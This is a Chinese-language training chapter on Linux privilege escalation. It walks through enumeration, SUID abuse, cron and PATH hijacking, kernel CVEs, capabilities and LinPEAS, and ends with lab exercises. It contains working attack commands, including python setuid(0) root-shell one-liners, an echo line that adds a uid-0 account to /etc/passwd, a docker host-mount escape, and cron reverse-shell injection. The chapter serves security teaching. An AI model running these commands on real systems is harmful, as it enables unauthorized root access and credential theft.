第 60 章 Linux 提权(Privilege Escalation)
拿到一个低权限 shell 后,"提权"是通往目标的必经之路。Linux 提权有一套成熟的枚举→利用流程。本章系统覆盖:信息枚举、SUID、Cron、内核漏洞、能力(Capabilities)、以及自动化工具。提权的核心是"先枚举,后利用"——90% 的提权路径来自没做好配置检查。
📍 知识点地图 | 主题:Linux提权 | 前置:第62章 | 后续:— | 核心概念:SUID、Cron、内核漏洞、Capabilities
60.1 提权思维模型
提权 = 找到一个"低权限能做、但影响高权限"的路径
路径来源:
1. 配置错误(SUID/权限/Cron/环境变量)
2. 漏洞(内核/服务/库)
3. 凭证(明文密码/密钥/历史记录)
4. 能力(Capabilities 分配错误)
5. 共享资源(可写文件/服务)
核心流程: 枚举(发现候选)→ 验证(确认可利用)→ 利用
60.2 系统信息枚举(第一件事)
# 系统与内核
uname -a # 内核版本(查已知漏洞)
cat /etc/os-release # 发行版
lsb_release -a
# 用户与权限
id # 当前用户/组
whoami
sudo -l # ← 最优先!当前用户 sudo 权限
cat /etc/passwd # 用户列表
cat /etc/shadow # 可读?(直接拿哈希)
# 网络
ifconfig / ip addr
netstat -tulnp / ss -tulnp # 监听端口(内部服务)
cat /etc/hosts
# 进程
ps aux # 谁在跑什么(找高权限进程)
ps aux | grep root
# 环境
env # 环境变量(路径/凭证/代理)
history # 命令历史(可能含密码)
sudo -l 是第一步:如果当前用户能无密码运行某命令,可能直接提权(配合 GTFOBins)。
60.3 SUID 提权(最经典)
原理
SUID 位 = 程序以"文件所有者"身份运行
/bin/su、/usr/bin/passwd 等系统程序有 SUID 是正常的
问题: 一个有 SUID 的可利用程序(或错误配置的脚本)→ 提权
查找 SUID 文件:
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
利用思路
1. 找 SUID 程序(排除系统正常项)
2. 查询 GTFOBins(https://gtfobins.github.io/)—— 每个程序怎么提权
3. 常见可提权 SUID:
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
/usr/bin/perl -e 'print "hello"'(配合 -e 执行)
/bin/bash -p(有 SUID 的 bash)
find 程序(-exec 执行)
vim/less/more(! 命令执行)
4. 自定义 SUID 脚本(可写 + root 拥有 + SUID)→ 直接覆盖内容
60.4 Cron 提权(定时任务)
原理
Cron 任务以配置的权限执行(常是 root)
可写脚本/可写路径 → 替换 → 等下次执行 → 获得 root
枚举 Cron:
crontab -l # 当前用户
cat /etc/crontab # 系统任务
ls -la /etc/cron.* # cron 目录
cat /var/spool/cron/crontabs/* # 各用户任务
利用链
1. 找到 root 的 cron 任务
2. 检查脚本是否可写(/tmp 或世界可写路径常见)
3. 写入提权 payload(反向 shell/复制 SUID bash)
4. 等待执行(或故意触发)
变体:PATH 劫持
Cron 执行脚本时用相对路径(如 backup.sh)
→ 把恶意 backup.sh 放在更前面的 PATH 目录 → 劫持执行
环境变量: PATH=/tmp:$PATH(如果你能写 /tmp)
60.5 内核漏洞提权
流程
1. uname -r 确认内核版本
2. 搜索该版本的已知提权 CVE(Exploit-DB/SearchSploit)
3. 评估: 受影响? 有 PoC? 编译条件满足?
4. 在目标编译/执行 PoC
5. 拿到 root
工具: searchsploit linux kernel <version> / exploitdb 搜索
注意: 内核提权可能崩溃系统(先备份/评估)
常见内核提权 CVE 系列(历史)
DirtyCow (CVE-2016-5195) —— 经典写只读文件
OverlayFS 系列 (CVE-2021-3493 等)
CVE-2022-0847 (Dirty Pipe) —— 任意写
CVE-2023-32629 / 2024 系列(持续更新)
60.6 Capabilities(Linux 能力提权)
原理
Capabilities = 把 root 权限拆成小块(CAP_*)
问题: 程序被分配了过大的能力(如 CAP_DAC_READ_SEARCH = 读所有文件)
枚举:
getcap -r / 2>/dev/null # 全盘找带能力文件
常见可利用能力:
CAP_DAC_READ_SEARCH: 绕过文件读权限 → 读 /etc/shadow
CAP_SETUID: 设置 UID → 直接 setuid(0)
CAP_SYS_ADMIN: 挂载/系统管理 → 多种利用
CAP_NET_ADMIN: 改网络配置
利用示例(CAP_SETUID + python):
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
60.7 其他提权路径
□ 环境变量劫持: LD_PRELOAD(配合 SUID/高权限程序)
→ 写恶意 .so → 高权限程序加载 → 执行(需程序未过滤)
□ 可写配置文件: /etc/passwd(可写则直接加 root 用户)
→ echo "hack:x:0:0::/root:/bin/bash" >> /etc/passwd
□ NFS 配置: /etc/exports 的 no_root_squash → 挂载后 root 文件
□ Docker 组: 用户在 docker 组 → docker run -v /:/host 提权
□ 历史泄露: history/.bash_history 里的密码
□ 明文凭证: 配置文件/备份/数据库连接串
□ 服务漏洞: 以 root 运行的老服务(网络/本地)
60.8 自动化枚举工具
# LinPEAS(首选,输出带颜色分级)
./linpeas.sh
# Linux Smart Enumeration
./lse.sh
# LinuxPrivChecker
./linuxprivchecker.py
# 用法: 传上目标机(wget/curl/python http.server)→ 运行 → 分析输出
# 输出里的 [*] 高亮项优先验证
工具 vs 手工:工具枚举快,但利用路径必须手工确认(工具的输出是候选清单,不是结论)。
60.9 Linux 提权检查清单
□ 系统/内核版本(查 CVE)
□ 当前用户/组/sudo -l
□ SUID 文件(GTFOBins 比对)
□ Cron 任务(可写脚本/PATH 劫持)
□ Capabilities(getcap -r)
□ 可写文件/目录(/etc/passwd、配置文件)
□ 环境变量/LD_PRELOAD
□ 历史命令/配置文件中的凭证
□ 运行的服务(本地端口/root 服务)
□ Docker/NFS/共享资源
□ 自动化工具(LinPEAS)兜底 + 手工验证每条路径
动手练习
- 搭一个带 SUID 弱点的练习环境(放一个 SUID python/自定义脚本),完成提权。
- 在练习机跑 LinPEAS,分析输出里"高价值"条目,手工验证 2 条。
- 写一个可写的 Cron 脚本场景(root 定时执行 /tmp 脚本),复现提权链。
- 用 getcap 检查系统,找出带 CAP_DAC_READ_SEARCH/CAP_SETUID 的程序,尝试利用。
深入阅读
- 仓库:
skills/pentest-tools/references/network-attack-defense.md(提权章节) - 仓库:
skills/attack-chain/SKILL.md(提权阶段:Windows/Linux/数据库) - 仓库:
CTF-Sandbox-Orchestrator/competition-identity-windows/(Windows 身份 CTF) - 外部: GTFOBins(每个程序怎么提权)、LinPEAS(自动枚举)、Exploit-DB